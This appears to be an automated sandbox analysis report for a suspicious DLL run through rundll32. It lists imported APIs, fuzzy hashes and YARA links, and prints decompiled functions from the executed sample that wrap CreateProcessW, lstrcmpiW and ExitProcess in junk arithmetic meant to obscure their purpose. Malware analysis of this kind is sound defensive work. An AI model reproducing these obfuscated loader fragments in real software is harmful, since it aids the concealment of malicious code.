Associated: 00000004.00000002.664938459.000000006EBE0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.669359074.000000006EC0A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.673746548.000000006EC3D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.674115007.000000006EC3F000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.674416389.000000006EC40000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: af0b387f21818a564cc25033e61c01b511e7065a52a875a4e8285d8007a236fa
Instruction ID: ec08cbfa0c8d7339c46cdecdccc8e7307b297764e6df5b000f4d25632639d404
Opcode Fuzzy Hash: af0b387f21818a564cc25033e61c01b511e7065a52a875a4e8285d8007a236fa
Instruction Fuzzy Hash: AB01D632904969EFDF01CF94CD04FAEBBB8FB45714F004529F822A2780EB769904CA90

Uniqueness

Uniqueness Score: -1.00%

Function 6EBEC280, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 9libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32), ref: 6EBEC285
GetProcAddress.KERNEL32(00000000,SetThreadDescription), ref: 6EBEC295

Strings

SetThreadDescription, xrefs: 6EBEC28F
kernel32, xrefs: 6EBEC280

Memory Dump Source

Source File: 00000004.00000002.665239855.000000006EBE1000.00000020.00020000.sdmp, Offset: 6EBE0000, based on PE: true

Associated: 00000004.00000002.664938459.000000006EBE0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.669359074.000000006EC0A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.673746548.000000006EC3D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.674115007.000000006EC3F000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.674416389.000000006EC40000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressHandleModuleProc
String ID: SetThreadDescription$kernel32
API String ID: 1646373207-1950310818
Opcode ID: 8167525ac3bcf7fe39c3551488e07c38fd33ddf3e149d2983c02733d83080169
Instruction ID: 57e76bd97a320329ffcc076b5532e7fe9b24a75875cbe71e22b837b5675b186e
Opcode Fuzzy Hash: 8167525ac3bcf7fe39c3551488e07c38fd33ddf3e149d2983c02733d83080169
Instruction Fuzzy Hash: 6AB092B1650A5A6AAE606EF14A0DA5A3F38A9C1A453220448E827D9105FA268140A971

Uniqueness

Uniqueness Score: -1.00%

Function 6EBEC2E0, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 9libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(ntdll), ref: 6EBEC2E5
GetProcAddress.KERNEL32(00000000,NtReleaseKeyedEvent), ref: 6EBEC2F5

Strings

NtReleaseKeyedEvent, xrefs: 6EBEC2EF
ntdll, xrefs: 6EBEC2E0

Memory Dump Source

Source File: 00000004.00000002.665239855.000000006EBE1000.00000020.00020000.sdmp, Offset: 6EBE0000, based on PE: true

Associated: 00000004.00000002.664938459.000000006EBE0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.669359074.000000006EC0A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.673746548.000000006EC3D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.674115007.000000006EC3F000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.674416389.000000006EC40000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressHandleModuleProc
String ID: NtReleaseKeyedEvent$ntdll
API String ID: 1646373207-31681898
Opcode ID: 1eb06ec922132d922671a08729160e6d8471a6967c4ba7e1a4af9130347c0faf
Instruction ID: 5941403e9091066a216d662ef3471c4b70cb5b66202434f4649a9f5c9d9c67b1
Opcode Fuzzy Hash: 1eb06ec922132d922671a08729160e6d8471a6967c4ba7e1a4af9130347c0faf
Instruction Fuzzy Hash: D3B092B1A0059A669E606AF14B0EA563E28AAC2A853120448E033E9500FA268100AD21

Uniqueness

Uniqueness Score: -1.00%

Function 6EBEC2C0, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 9libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(ntdll), ref: 6EBEC2C5
GetProcAddress.KERNEL32(00000000,NtWaitForKeyedEvent), ref: 6EBEC2D5

Strings

NtWaitForKeyedEvent, xrefs: 6EBEC2CF
ntdll, xrefs: 6EBEC2C0

Memory Dump Source

Source File: 00000004.00000002.665239855.000000006EBE1000.00000020.00020000.sdmp, Offset: 6EBE0000, based on PE: true

Associated: 00000004.00000002.664938459.000000006EBE0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.669359074.000000006EC0A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.673746548.000000006EC3D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.674115007.000000006EC3F000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.674416389.000000006EC40000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressHandleModuleProc
String ID: NtWaitForKeyedEvent$ntdll
API String ID: 1646373207-2815205136
Opcode ID: cbf0a49c7d153e9fbf7073cf3faccf93111afb511bfa67c74384d0aef7709907
Instruction ID: 8d71aefa1dad6651be3492dd244c16612fbc5cacf5811f28374d8446ad84c074
Opcode Fuzzy Hash: cbf0a49c7d153e9fbf7073cf3faccf93111afb511bfa67c74384d0aef7709907
Instruction Fuzzy Hash: 7EB092B1A00A596AAE906AF14B0DA563E38AAC2A453520448E027D9500FA2681009D61

Uniqueness

Uniqueness Score: -1.00%

Function 6EBEC260, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 9libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32), ref: 6EBEC265
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6EBEC275

Strings

GetSystemTimePreciseAsFileTime, xrefs: 6EBEC26F
kernel32, xrefs: 6EBEC260

Memory Dump Source

Source File: 00000004.00000002.665239855.000000006EBE1000.00000020.00020000.sdmp, Offset: 6EBE0000, based on PE: true

Associated: 00000004.00000002.664938459.000000006EBE0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.669359074.000000006EC0A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.673746548.000000006EC3D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.674115007.000000006EC3F000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.674416389.000000006EC40000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressHandleModuleProc
String ID: GetSystemTimePreciseAsFileTime$kernel32
API String ID: 1646373207-392834919
Opcode ID: ec041d135b7879b2495229fe75a2323a5b114c70ffef22246c745ceccb099a3c
Instruction ID: 5fa082ae18cdab52ccf13e2631cbaabf11fc0367f7a5332e6b2bb6c0a754e0a9
Opcode Fuzzy Hash: ec041d135b7879b2495229fe75a2323a5b114c70ffef22246c745ceccb099a3c
Instruction Fuzzy Hash: 8DB092B161095966AE606EF14B4DA9A3E38A9C2A493220548E523D9100FA26C180AD21

Uniqueness

Uniqueness Score: -1.00%

Function 6EBEC300, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 9libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(ntdll), ref: 6EBEC305
GetProcAddress.KERNEL32(00000000,NtCreateKeyedEvent), ref: 6EBEC315

Strings

NtCreateKeyedEvent, xrefs: 6EBEC30F
ntdll, xrefs: 6EBEC300

Memory Dump Source

Source File: 00000004.00000002.665239855.000000006EBE1000.00000020.00020000.sdmp, Offset: 6EBE0000, based on PE: true

Associated: 00000004.00000002.664938459.000000006EBE0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.669359074.000000006EC0A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.673746548.000000006EC3D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.674115007.000000006EC3F000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.674416389.000000006EC40000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressHandleModuleProc
String ID: NtCreateKeyedEvent$ntdll
API String ID: 1646373207-1373576770
Opcode ID: ed36040df1b01c840ea7187e772c79a41c8fe16c2648e9a92be57ab132ca5852
Instruction ID: 56fbfce5537565049734c473ce8b1feebe3f1d6a6dc4902a97896ed19ee9efa2
Opcode Fuzzy Hash: ed36040df1b01c840ea7187e772c79a41c8fe16c2648e9a92be57ab132ca5852
Instruction Fuzzy Hash: E6B092B1A005696A9E50AAF14B0DA663D28EA82B863524448E033D9102FA2681009D21

Uniqueness

Uniqueness Score: -1.00%

Function 6EC06749, Relevance: 6.3, APIs: 4, Instructions: 338fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(210CA183,?,00000000,?), ref: 6EC067AC

Part of subcall function 6EC04073: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,6EC061E2,?,00000000,-00000008), ref: 6EC0411F

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 6EC06A07
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 6EC06A4F
GetLastError.KERNEL32 ref: 6EC06AF2

Memory Dump Source

Source File: 00000004.00000002.665239855.000000006EBE1000.00000020.00020000.sdmp, Offset: 6EBE0000, based on PE: true

Associated: 00000004.00000002.664938459.000000006EBE0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.669359074.000000006EC0A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.673746548.000000006EC3D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.674115007.000000006EC3F000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.674416389.000000006EC40000.00000002.00020000.sdmp Download File

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: 1f14039aa7032ec1d7accae7e8608bd600407932802f433b33edc07a012b3877
Instruction ID: b1a9973f1180fd4dbe84d40040085a3db4c423f02a77cf76b6185463e071f987
Opcode Fuzzy Hash: 1f14039aa7032ec1d7accae7e8608bd600407932802f433b33edc07a012b3877
Instruction Fuzzy Hash: A8D17A75D106599FCF01CFE8C880ADDBBB4FF49314F14852AE866AB641E731A992CF60

Uniqueness

Uniqueness Score: -1.00%

Function 6EBFF49F, Relevance: 6.2, APIs: 4, Instructions: 168COMMON

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 6EBFF566
___AdjustPointer.LIBCMT ref: 6EBFF589
___AdjustPointer.LIBCMT ref: 6EBFF625

Memory Dump Source

Source File: 00000004.00000002.665239855.000000006EBE1000.00000020.00020000.sdmp, Offset: 6EBE0000, based on PE: true

Associated: 00000004.00000002.664938459.000000006EBE0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.669359074.000000006EC0A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.673746548.000000006EC3D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.674115007.000000006EC3F000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.674416389.000000006EC40000.00000002.00020000.sdmp Download File

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 4535665e059d3b34a2e502aafe80bdd1f5474ad874640641f37aec0356a1165f
Instruction ID: 4b8ad57df16ebaec8974f170575bfe89cc349b8ccb230c6234a8b87d0d8ddf67
Opcode Fuzzy Hash: 4535665e059d3b34a2e502aafe80bdd1f5474ad874640641f37aec0356a1165f
Instruction Fuzzy Hash: 2551B172605686EFEB158FD4D850BAE7BA4FF44315F30492DE915872A0EB31E84ACB90

Uniqueness

Uniqueness Score: -1.00%

Function 6EC02D87, Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 6EC04073: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,6EC061E2,?,00000000,-00000008), ref: 6EC0411F

GetLastError.KERNEL32 ref: 6EC02DEB
__dosmaperr.LIBCMT ref: 6EC02DF2
GetLastError.KERNEL32(?,?,?,?), ref: 6EC02E2C
__dosmaperr.LIBCMT ref: 6EC02E33

Memory Dump Source

Source File: 00000004.00000002.665239855.000000006EBE1000.00000020.00020000.sdmp, Offset: 6EBE0000, based on PE: true

Associated: 00000004.00000002.664938459.000000006EBE0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.669359074.000000006EC0A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.673746548.000000006EC3D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.674115007.000000006EC3F000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.674416389.000000006EC40000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: 4ce9423bb8f0c07d576f9199eb901d30a2dd5422ef66e1101fb80cce0be82fbd
Instruction ID: 7cb846961c3eb9e92945785c994d9f821052693487142c0be4df2abcc79f1b6d
Opcode Fuzzy Hash: 4ce9423bb8f0c07d576f9199eb901d30a2dd5422ef66e1101fb80cce0be82fbd
Instruction Fuzzy Hash: 4921D471644205AF9B559FEAC890C9BBBBDFF413697008929FC2897215F733ED408B90

Uniqueness

Uniqueness Score: -1.00%

Function 6EC07EA6, Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(?,?,00000000,00000000,?,?,6EC07857,?,00000001,?,?,?,6EC06B46,?,?,00000000), ref: 6EC07EBD
GetLastError.KERNEL32(?,6EC07857,?,00000001,?,?,?,6EC06B46,?,?,00000000,?,?,?,6EC070CD,?), ref: 6EC07EC9

Part of subcall function 6EC07E8F: CloseHandle.KERNEL32(FFFFFFFE,6EC07ED9,?,6EC07857,?,00000001,?,?,?,6EC06B46,?,?,00000000,?,?), ref: 6EC07E9F

___initconout.LIBCMT ref: 6EC07ED9

Part of subcall function 6EC07E51: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,6EC07E80,6EC07844,?,?,6EC06B46,?,?,00000000,?), ref: 6EC07E64

WriteConsoleW.KERNEL32(?,?,00000000,00000000,?,6EC07857,?,00000001,?,?,?,6EC06B46,?,?,00000000,?), ref: 6EC07EEE

Memory Dump Source

Source File: 00000004.00000002.665239855.000000006EBE1000.00000020.00020000.sdmp, Offset: 6EBE0000, based on PE: true

Associated: 00000004.00000002.664938459.000000006EBE0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.669359074.000000006EC0A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.673746548.000000006EC3D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.674115007.000000006EC3F000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.674416389.000000006EC40000.00000002.00020000.sdmp Download File

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 19cd1431d5cd4c0966f55c752f860a21e225b907bb5fd8591cbbaa41d379ea67
Instruction ID: c257082928ab054aaf1ba4d5c7f4a21c78f1a6164d5a446cd8fb2d820bb2f247
Opcode Fuzzy Hash: 19cd1431d5cd4c0966f55c752f860a21e225b907bb5fd8591cbbaa41d379ea67
Instruction Fuzzy Hash: 45F01C36005628BFCF622FD1CD04A8E3F3AEB4A3A4B014414FA29855A0D7338D60EB90

Uniqueness

Uniqueness Score: -1.00%

Function 6EBFFAA0, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?,00000000,1FFFFFFF), ref: 6EBFFAC5

Strings

RCC, xrefs: 6EBFFADF
MOC, xrefs: 6EBFFAD7

Memory Dump Source

Source File: 00000004.00000002.665239855.000000006EBE1000.00000020.00020000.sdmp, Offset: 6EBE0000, based on PE: true

Associated: 00000004.00000002.664938459.000000006EBE0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.669359074.000000006EC0A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.673746548.000000006EC3D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.674115007.000000006EC3F000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.674416389.000000006EC40000.00000002.00020000.sdmp Download File

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: a36dc98158a60e1f467ce1c1c2f3a61764fbc2e7742354d2e2f97abd0d140f80
Instruction ID: 69a492832036a258f49467603159e2eae46fce641b1b8e1fab96f17ee01dfef0
Opcode Fuzzy Hash: a36dc98158a60e1f467ce1c1c2f3a61764fbc2e7742354d2e2f97abd0d140f80
Instruction Fuzzy Hash: 48416732900249EFCF02CFD4C990AEE7BB9FF48304F248499EA1567262D3359956DB50

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: rundll32.exe PID: 4424 Parent PID: 5816 rundll32.exeCOMMON

Executed Functions

Function 02C49100, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 74
processCOMMON

Download Yara Rule

C-Code - Quality: 41%

			E02C49100(void* __ecx, WCHAR* __edx, WCHAR* _a8, struct _PROCESS_INFORMATION* _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr _a36, struct _STARTUPINFOW* _a40, intOrPtr _a44, int _a48, intOrPtr _a52, intOrPtr _a56, intOrPtr _a60, intOrPtr _a64) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				struct _SECURITY_ATTRIBUTES* _v24;
				intOrPtr _v28;
				void* _t52;
				int _t60;
				WCHAR* _t64;

				_t64 = __edx;
				_push(0);
				_push(0);
				_push(_a64);
				_push(_a60);
				_push(_a56);
				_push(_a52);
				_push(_a48);
				_push(_a44);
				_push(_a40);
				_push(_a36);
				_push(0);
				_push(_a28);
				_push(_a24);
				_push(_a20);
				_push(_a16);
				_push(0);
				_push(_a8);
				_push(0);
				_push(__edx);
				_push(__ecx);
				E02C38002(_t52);
				_v28 = 0x2905a5;
				_v24 = 0;
				_v12 = 0xa2d8b8;
				_v12 = _v12 + 0xfffff871;
				_v12 = _v12 ^ 0x5b121ec8;
				_v12 = _v12 ^ 0x21b4fd5f;
				_v12 = _v12 ^ 0x7a067dbd;
				_v8 = 0x36027e;
				_v8 = _v8 ^ 0x6c06375b;
				_v8 = _v8 * 0x51;
				_v8 = _v8 + 0xffff0cdd;
				_v8 = _v8 ^ 0x3b3a0501;
				_v20 = 0x3133e6;
				_v20 = _v20 ^ 0xa81fc925;
				_v20 = _v20 ^ 0xa82b7027;
				_v16 = 0x47f0fa;
				_v16 = _v16 | 0xed8e49a9;
				_v16 = _v16 ^ 0xedcdbeb4;
				E02C4E399(__ecx, __edx, __ecx, 0xa2449830, 0x53, 0xa9376bff);
				_t60 = CreateProcessW(_t64, _a8, 0, 0, _a48, 0, 0, 0, _a40, _a16); // executed
				return _t60;
			}

0x02c4910a
0x02c4910c
0x02c4910d
0x02c4910e
0x02c49111
0x02c49114
0x02c49117
0x02c4911a
0x02c4911d
0x02c49120
0x02c49123
0x02c49126
0x02c49127
0x02c4912a
0x02c4912d
0x02c49130
0x02c49133
0x02c49134
0x02c49137
0x02c49138
0x02c49139
0x02c4913a
0x02c4913f
0x02c49149
0x02c4914c
0x02c49153
0x02c4915a
0x02c49161
0x02c49168
0x02c4916f
0x02c49176
0x02c4918e
0x02c49191
0x02c49198
0x02c4919f
0x02c491a6
0x02c491ad
0x02c491b4
0x02c491bb
0x02c491c2
0x02c491d5
0x02c491ef
0x02c491f6

APIs

CreateProcessW.KERNELBASE(?,EDCDBEB4,00000000,00000000,?,00000000,00000000,00000000,?,?), ref: 02C491EF

Strings

31, xrefs: 02C4919F

Memory Dump Source

Source File: 00000008.00000002.623586957.0000000002C30000.00000040.00000010.sdmp, Offset: 02C30000, based on PE: true

Yara matches

Similarity

API ID: CreateProcess
String ID: 31
API String ID: 963392458-1099231638
Opcode ID: 802e8488796198306ded7f534c69eccd1f3fee1a7ddcada247a2de1a0aa744a2
Instruction ID: bf8a0d75d07a283a84efc302a615b0e4d7271eb4bcc1f36a7bb1907583859579
Opcode Fuzzy Hash: 802e8488796198306ded7f534c69eccd1f3fee1a7ddcada247a2de1a0aa744a2
Instruction Fuzzy Hash: 8D31C272801259BBCF559FA6CD45CDFBFB5FB89714F108158FA1462120C3728A60EFA1

Uniqueness

Uniqueness Score: -1.00%

Function 02C40207, Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 70
stringCOMMON

Download Yara Rule

C-Code - Quality: 70%

			E02C40207(void* __ecx, WCHAR* __edx, intOrPtr _a4, WCHAR* _a8, intOrPtr _a12, intOrPtr _a16) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				void* _v32;
				intOrPtr _v36;
				void* _t54;
				int _t68;
				signed int _t70;
				signed int _t71;
				signed int _t72;
				WCHAR* _t81;

				_push(_a16);
				_t81 = __edx;
				_push(_a12);
				_push(_a8);
				_push(_a4);
				_push(__edx);
				E02C38002(_t54);
				_v36 = 0xa7e4f2;
				asm("stosd");
				_t70 = 0x7b;
				asm("stosd");
				asm("stosd");
				_v12 = 0x53fdc4;
				_t71 = 0x5a;
				_v12 = _v12 / _t70;
				_v12 = _v12 << 7;
				_v12 = _v12 ^ 0xe1fe8b09;
				_v12 = _v12 ^ 0xe1ac8480;
				_v20 = 0x744728;
				_v20 = _v20 << 0xf;
				_v20 = _v20 ^ 0x239bcee7;
				_v16 = 0xd5199;
				_v16 = _v16 + 0xffff5a50;
				_v16 = _v16 / _t71;
				_v16 = _v16 ^ 0x000f59f5;
				_v8 = 0xa57c1a;
				_v8 = _v8 | 0x119c25df;
				_v8 = _v8 + 0xffffdcc6;
				_t72 = 0x4f;
				_v8 = _v8 / _t72;
				_v8 = _v8 ^ 0x003b1570;
				E02C4E399(_t72, _v8 % _t72, _t72, 0xa2449830, 0x167, 0xa9a77114);
				_t68 = lstrcmpiW(_a8, _t81); // executed
				return _t68;
			}

0x02c4020f
0x02c40212
0x02c40214
0x02c40217
0x02c4021a
0x02c4021d
0x02c4021f
0x02c40224
0x02c40232
0x02c40235
0x02c40238
0x02c40239
0x02c4023a
0x02c40246
0x02c40247
0x02c4024c
0x02c40250
0x02c40257
0x02c4025e
0x02c40265
0x02c40269
0x02c40270
0x02c40277
0x02c40285
0x02c4028a
0x02c40291
0x02c40298
0x02c4029f
0x02c402a9
0x02c402af
0x02c402b2
0x02c402d5
0x02c402e1
0x02c402e8

APIs

lstrcmpiW.KERNELBASE(000F59F5,00000000,?,?,?,?,?,?,?,9B842ACC,01B64447,00000000), ref: 02C402E1

Strings

(Gt, xrefs: 02C4025E

Memory Dump Source

Source File: 00000008.00000002.623586957.0000000002C30000.00000040.00000010.sdmp, Offset: 02C30000, based on PE: true

Yara matches

Similarity

API ID: lstrcmpi
String ID: (Gt
API String ID: 1586166983-558867117
Opcode ID: bb735ff999d9414c3a9b564c67b10e962bbdffe1a82627d97bbaa383f4a39bdb
Instruction ID: f13fa1c48f76edec9d359e00b234fa951174315c0cd1f7a49a8bf4410fcf582b
Opcode Fuzzy Hash: bb735ff999d9414c3a9b564c67b10e962bbdffe1a82627d97bbaa383f4a39bdb
Instruction Fuzzy Hash: 4D2178B5E00208FBEF04DFA4CC0A9DEBBB2FB44314F10C599E515AA250D7B65A10DF90

Uniqueness

Uniqueness Score: -1.00%

Function 02C3F3F7, Relevance: 1.5, APIs: 1, Instructions: 43
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E02C3F3F7() {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				signed int _t47;

				_v28 = _v28 & 0x00000000;
				_v24 = _v24 & 0x00000000;
				_v36 = 0xb0bfd;
				_v32 = 0x231de0;
				_v20 = 0x822c7a;
				_t47 = 0x31;
				_push(_t47);
				_v20 = _v20 * 0x25;
				_v20 = _v20 ^ 0x12d3a120;
				_v12 = 0x122796;
				_v12 = _v12 | 0x5fffe7f7;
				_v12 = _v12 ^ 0x5ff36a5b;
				_v8 = 0xc53dc4;
				_v8 = _v8 + 0xffff669e;
				_v8 = _v8 + 0xba03;
				_v8 = _v8 + 0x1f9e;
				_v8 = _v8 ^ 0x00c2122b;
				_v16 = 0x5857ad;
				_v16 = _v16 / _t47;
				_v16 = _v16 ^ 0x000b8ebe;
				E02C4E399(_t47, _v16 % _t47, _t47, 0xa2449830, 0x41, 0x9da8748a);
				ExitProcess(0);
			}

0x02c3f3fd
0x02c3f403
0x02c3f407
0x02c3f40e
0x02c3f415
0x02c3f422
0x02c3f423
0x02c3f429
0x02c3f42c
0x02c3f433
0x02c3f43a
0x02c3f441
0x02c3f448
0x02c3f44f
0x02c3f456
0x02c3f45d
0x02c3f464
0x02c3f46b
0x02c3f479
0x02c3f47c
0x02c3f495
0x02c3f49f

APIs

ExitProcess.KERNEL32(00000000), ref: 02C3F49F

Memory Dump Source

Source File: 00000008.00000002.623586957.0000000002C30000.00000040.00000010.sdmp, Offset: 02C30000, based on PE: true

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 03812332bf7814123334a19349d3f4d4ec07a23d3eba325336f5a23eb22f412d
Instruction ID: 71977355b02088f6d591bd40eac145b12612dee295a296fa59d65462810ecdcc
Opcode Fuzzy Hash: 03812332bf7814123334a19349d3f4d4ec07a23d3eba325336f5a23eb22f412d
Instruction Fuzzy Hash: AE11D6B1E1121DEBDF04DFE4D94A6EEBBB4FB14319F108188E521AA250E7B45B558F80

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: rundll32.exe PID: 1880 Parent PID: 5816 rundll32.exeCOMMON

Executed Functions

Function 006B9100, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 74
processCOMMON

Download Yara Rule

C-Code - Quality: 41%

			E006B9100(void* __ecx, WCHAR* __edx, WCHAR* _a8, struct _PROCESS_INFORMATION* _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr _a36, struct _STARTUPINFOW* _a40, intOrPtr _a44, int _a48, intOrPtr _a52, intOrPtr _a56, intOrPtr _a60, intOrPtr _a64) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				struct _SECURITY_ATTRIBUTES* _v24;
				intOrPtr _v28;
				void* _t52;
				int _t60;
				WCHAR* _t64;

				_t64 = __edx;
				_push(0);
				_push(0);
				_push(_a64);
				_push(_a60);
				_push(_a56);
				_push(_a52);
				_push(_a48);
				_push(_a44);
				_push(_a40);
				_push(_a36);
				_push(0);
				_push(_a28);
				_push(_a24);
				_push(_a20);
				_push(_a16);
				_push(0);
				_push(_a8);
				_push(0);
				_push(__edx);
				_push(__ecx);
				E006A8002(_t52);
				_v28 = 0x2905a5;
				_v24 = 0;
				_v12 = 0xa2d8b8;
				_v12 = _v12 + 0xfffff871;
				_v12 = _v12 ^ 0x5b121ec8;
				_v12 = _v12 ^ 0x21b4fd5f;
				_v12 = _v12 ^ 0x7a067dbd;
				_v8 = 0x36027e;
				_v8 = _v8 ^ 0x6c06375b;
				_v8 = _v8 * 0x51;
				_v8 = _v8 + 0xffff0cdd;
				_v8 = _v8 ^ 0x3b3a0501;
				_v20 = 0x3133e6;
				_v20 = _v20 ^ 0xa81fc925;
				_v20 = _v20 ^ 0xa82b7027;
				_v16 = 0x47f0fa;
				_v16 = _v16 | 0xed8e49a9;
				_v16 = _v16 ^ 0xedcdbeb4;
				E006BE399(__ecx, __edx, __ecx, 0xa2449830, 0x53, 0xa9376bff);
				_t60 = CreateProcessW(_t64, _a8, 0, 0, _a48, 0, 0, 0, _a40, _a16); // executed
				return _t60;
			}

0x006b910a
0x006b910c
0x006b910d
0x006b910e
0x006b9111
0x006b9114
0x006b9117
0x006b911a
0x006b911d
0x006b9120
0x006b9123
0x006b9126
0x006b9127
0x006b912a
0x006b912d
0x006b9130
0x006b9133
0x006b9134
0x006b9137
0x006b9138
0x006b9139
0x006b913a
0x006b913f
0x006b9149
0x006b914c
0x006b9153
0x006b915a
0x006b9161
0x006b9168
0x006b916f
0x006b9176
0x006b918e
0x006b9191
0x006b9198
0x006b919f
0x006b91a6
0x006b91ad
0x006b91b4
0x006b91bb
0x006b91c2
0x006b91d5
0x006b91ef
0x006b91f6

APIs

CreateProcessW.KERNELBASE(?,EDCDBEB4,00000000,00000000,?,00000000,00000000,00000000,?,?), ref: 006B91EF

Strings

31, xrefs: 006B919F

Memory Dump Source

Source File: 00000009.00000002.602326812.00000000006A0000.00000040.00000010.sdmp, Offset: 006A0000, based on PE: true

Yara matches

Similarity

API ID: CreateProcess
String ID: 31
API String ID: 963392458-1099231638
Opcode ID: 802e8488796198306ded7f534c69eccd1f3fee1a7ddcada247a2de1a0aa744a2
Instruction ID: 467cde779302aa2006da80ef2677075fe6fbdf17af753f76c7dcd06772e7f65e
Opcode Fuzzy Hash: 802e8488796198306ded7f534c69eccd1f3fee1a7ddcada247a2de1a0aa744a2
Instruction Fuzzy Hash: 3931C272801259BBCF559FA6CD45CDFBFB5FB89714F108158FA1462120C3728A60EBA5

Uniqueness

Uniqueness Score: -1.00%

Function 006B0207, Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 70
stringCOMMON

Download Yara Rule

C-Code - Quality: 70%

			E006B0207(void* __ecx, WCHAR* __edx, intOrPtr _a4, WCHAR* _a8, intOrPtr _a12, intOrPtr _a16) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				void* _v32;
				intOrPtr _v36;
				void* _t54;
				int _t68;
